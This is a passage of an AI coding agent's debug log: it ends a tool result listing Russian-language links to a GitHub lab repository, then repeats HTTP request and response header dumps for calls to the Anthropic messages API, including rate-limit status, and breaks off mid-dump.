\u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0440\u0435\u0434.\\n- [Issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615) \u2014 \u0441\u0440\u0435\u0434\u044b 1\u20134.\\n- [RFC \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u2014 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C.\\n- [\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md) \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0430\u044f 2026 \u043f\u0440\u043e n8n: [\u0434\u043e\u0440\u043e\u0436\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 RAG](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md), [\u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md).\\n- [\u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py) \u0438 [\u0436\u0443\u0440\u043d\u0430\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n\",\n[2026-09-29T07:44:41.345Z] [INFO]       \"numLines\": 97,\n[2026-09-29T07:44:41.345Z] [INFO]       \"startLine\": 413,\n[2026-09-29T07:44:41.345Z] [INFO]       \"totalLines\": 509\n[2026-09-29T07:44:41.345Z] [INFO]     }\n[2026-09-29T07:44:41.345Z] [INFO]   }\n[2026-09-29T07:44:41.345Z] [INFO] }\n[2026-09-29T07:44:41.360Z] [STDOUT] [log_975a35] sending request {\n[2026-09-29T07:44:41.374Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:41.377Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:41.383Z] [STDOUT]   options: {\n[2026-09-29T07:44:41.390Z] [STDOUT]     method: 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true,\n[2026-09-29T07:44:41.869Z] [STDOUT]   },\n[2026-09-29T07:44:41.876Z] [STDOUT]   headers: {\n[2026-09-29T07:44:41.879Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:41.885Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:41.889Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:41.892Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:41.893Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:41.898Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:41.903Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:41.910Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:41.915Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:41.920Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:41.928Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:41.938Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1489\",\n[2026-09-29T07:44:41.942Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:41.945Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:41.948Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:41.951Z] [STDOUT]     \"x-client-request-id\": \"ea4a5513-2ed1-459f-82af-62c935a82ba1\",\n[2026-09-29T07:44:41.957Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:41.960Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:41.964Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:41.970Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:41.973Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:41.976Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:41.980Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:41.985Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:41.991Z] [STDOUT]   },\n[2026-09-29T07:44:41.995Z] [STDOUT] }\n[2026-09-29T07:44:41.998Z] [STDOUT] [log_975a35, request-id: \"req_011CfXMhYQos9m5qcQjiUdRY\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 762ms\n[2026-09-29T07:44:42.002Z] [STDOUT] [log_975a35] response start {\n[2026-09-29T07:44:42.006Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.009Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.011Z] [STDOUT]   headers: {\n[2026-09-29T07:44:42.018Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.027Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.030Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.033Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.036Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.043Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.050Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.057Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.066Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.074Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.079Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.090Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.093Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.099Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.109Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.117Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.130Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.138Z] [STDOUT]     \"cf-ray\": \"a4295d314e5729ad-FRA\",\n[2026-09-29T07:44:42.176Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:42.188Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.191Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.197Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.204Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.206Z] [STDOUT]     \"request-id\": \"req_011CfXMhYQos9m5qcQjiUdRY\",\n[2026-09-29T07:44:42.209Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:42.214Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.219Z] [STDOUT]     traceresponse: \"00-7fbd89a89183de781beb995070fe8862-dac2886dfa48c7f2-01\",\n[2026-09-29T07:44:42.222Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.230Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:42.235Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.245Z] [STDOUT]   },\n[2026-09-29T07:44:42.251Z] [STDOUT]   durationMs: 762,\n[2026-09-29T07:44:42.256Z] [STDOUT] }\n[2026-09-29T07:44:42.259Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:42.261Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.283Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.287Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.297Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:42.301Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.305Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.312Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.315Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:42.322Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.327Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.337Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.346Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.349Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.352Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.356Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.361Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.366Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.370Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.374Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.379Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.384Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.387Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.391Z] [STDOUT]   \"request-id\": \"req_011CfXMhYQos9m5qcQjiUdRY\",\n[2026-09-29T07:44:42.394Z] [STDOUT]   \"traceresponse\": \"00-7fbd89a89183de781beb995070fe8862-dac2886dfa48c7f2-01\",\n[2026-09-29T07:44:42.397Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.404Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.409Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:42.416Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.420Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.424Z] [STDOUT]   \"cf-ray\": \"a4295d314e5729ad-FRA\",\n[2026-09-29T07:44:42.427Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:42.438Z] [STDOUT] [log_975a35] response parsed {\n[2026-09-29T07:44:42.447Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.453Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.459Z] [STDOUT]   body: X {\n[2026-09-29T07:44:42.465Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:42.477Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:42.481Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:42.483Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:42.488Z] [STDOUT]     },\n[2026-09-29T07:44:42.491Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:42.496Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:42.499Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:42.502Z] [STDOUT]   },\n[2026-09-29T07:44:42.507Z] [STDOUT]   durationMs: 763,\n[2026-09-29T07:44:42.511Z] [STDOUT] }\n[2026-09-29T07:44:42.518Z] [STDOUT] [log_8ccb10, request-id: \"req_011CfXMhXv3eMR1pjbLB383L\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 897ms\n[2026-09-29T07:44:42.531Z] [STDOUT] [log_8ccb10] response start {\n[2026-09-29T07:44:42.536Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.541Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.551Z] [STDOUT]   headers: {\n[2026-09-29T07:44:42.555Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.558Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.562Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.565Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.571Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.574Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.578Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.587Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.590Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.594Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.599Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.602Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.605Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.608Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.610Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.614Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.623Z] [STDOUT]     \"cf-ray\": \"a4295d30adafdbb5-FRA\",\n[2026-09-29T07:44:42.629Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:42.634Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.640Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.647Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.653Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.658Z] [STDOUT]     \"request-id\": \"req_011CfXMhXv3eMR1pjbLB383L\",\n[2026-09-29T07:44:42.661Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:42.664Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.667Z] [STDOUT]     traceresponse: \"00-e3744bb799aa8fac98462df7c4400e50-f3149d17a97ae346-01\",\n[2026-09-29T07:44:42.670Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.673Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:42.676Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.678Z] [STDOUT]   },\n[2026-09-29T07:44:42.679Z] [STDOUT]   durationMs: 897,\n[2026-09-29T07:44:42.681Z] [STDOUT] }\n[2026-09-29T07:44:42.684Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:42.687Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:41 GMT\",\n[2026-09-29T07:44:42.691Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:42.695Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:42.697Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:42.700Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:42.703Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:42.706Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:42.710Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:42.714Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:42.721Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.734Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.742Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.748Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:42.753Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.760Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.764Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.770Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.775Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.785Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.795Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.801Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.804Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.807Z] [STDOUT]   \"request-id\": \"req_011CfXMhXv3eMR1pjbLB383L\",\n[2026-09-29T07:44:42.813Z] [STDOUT]   \"traceresponse\": \"00-e3744bb799aa8fac98462df7c4400e50-f3149d17a97ae346-01\",\n[2026-09-29T07:44:42.816Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.820Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:42.824Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:42.828Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:42.833Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:42.835Z] [STDOUT]   \"cf-ray\": \"a4295d30adafdbb5-FRA\",\n[2026-09-29T07:44:42.840Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:42.858Z] [STDOUT] [log_8ccb10] response parsed {\n[2026-09-29T07:44:42.862Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.867Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.871Z] [STDOUT]   body: X {\n[2026-09-29T07:44:42.875Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:42.878Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:42.881Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:42.883Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:42.889Z] [STDOUT]     },\n[2026-09-29T07:44:42.894Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:42.898Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:42.904Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:42.909Z] [STDOUT]   },\n[2026-09-29T07:44:42.913Z] [STDOUT]   durationMs: 898,\n[2026-09-29T07:44:42.920Z] [STDOUT] }\n[2026-09-29T07:44:42.923Z] [STDOUT] [log_d29aae, request-id: \"req_011CfXMhZhghFd6mZsDgTMeU\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 708ms\n[2026-09-29T07:44:42.932Z] [STDOUT] [log_d29aae] response start {\n[2026-09-29T07:44:42.936Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:42.939Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:42.943Z] [STDOUT]   headers: {\n[2026-09-29T07:44:42.945Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:42.951Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:42.954Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:42.958Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:42.961Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:42.967Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:42.972Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:42.976Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:42.979Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:42.984Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:42.988Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:42.992Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:42.996Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:43.004Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:43.007Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:43.016Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:43.026Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:43.033Z] [STDOUT]     \"cf-ray\": \"a4295d333f3b4d8b-FRA\",\n[2026-09-29T07:44:43.040Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:43.047Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:43.051Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:43.053Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:43.059Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:42 GMT\",\n[2026-09-29T07:44:43.064Z] [STDOUT]     \"request-id\": \"req_011CfXMhZhghFd6mZsDgTMeU\",\n[2026-09-29T07:44:43.070Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:43.078Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:43.080Z] [STDOUT]     traceresponse: \"00-b02238873c0046b7dd5215c6a008bdda-2fe0f780a16351be-01\",\n[2026-09-29T07:44:43.082Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:43.085Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:43.089Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:43.094Z] [STDOUT]   },\n[2026-09-29T07:44:43.098Z] [STDOUT]   durationMs: 708,\n[2026-09-29T07:44:43.101Z] [STDOUT] }\n[2026-09-29T07:44:43.108Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:43.112Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:42 GMT\",\n[2026-09-29T07:44:43.119Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:43.126Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:43.133Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:43.139Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:43.143Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:43.149Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:43.154Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:43.163Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:43.169Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:43.180Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:43.187Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:43.191Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:43.201Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:43.210Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:43.232Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:43.237Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:43.247Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:43.251Z] [STDOUT]   